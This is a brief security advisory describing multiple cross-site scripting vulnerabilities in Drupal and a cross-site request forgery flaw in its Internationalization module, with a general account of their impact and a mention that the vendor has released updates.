Drupal Multiple XSS and Request Forgery Vulnerabilities

The application is prone to multiple cross-site scripting vulnerabilities because the software fails to sufficiently sanitize user-supplied input. The Internationalization module is also prone to cross-site request forgery attacks while performing node translations.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can exploit the cross-site request-forgery issue by tricking a victim into following a specially crafted HTTP request designed to perform some action on the attacker’s behalf using a victim’s currently active session. To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.

The vendor has released updates.
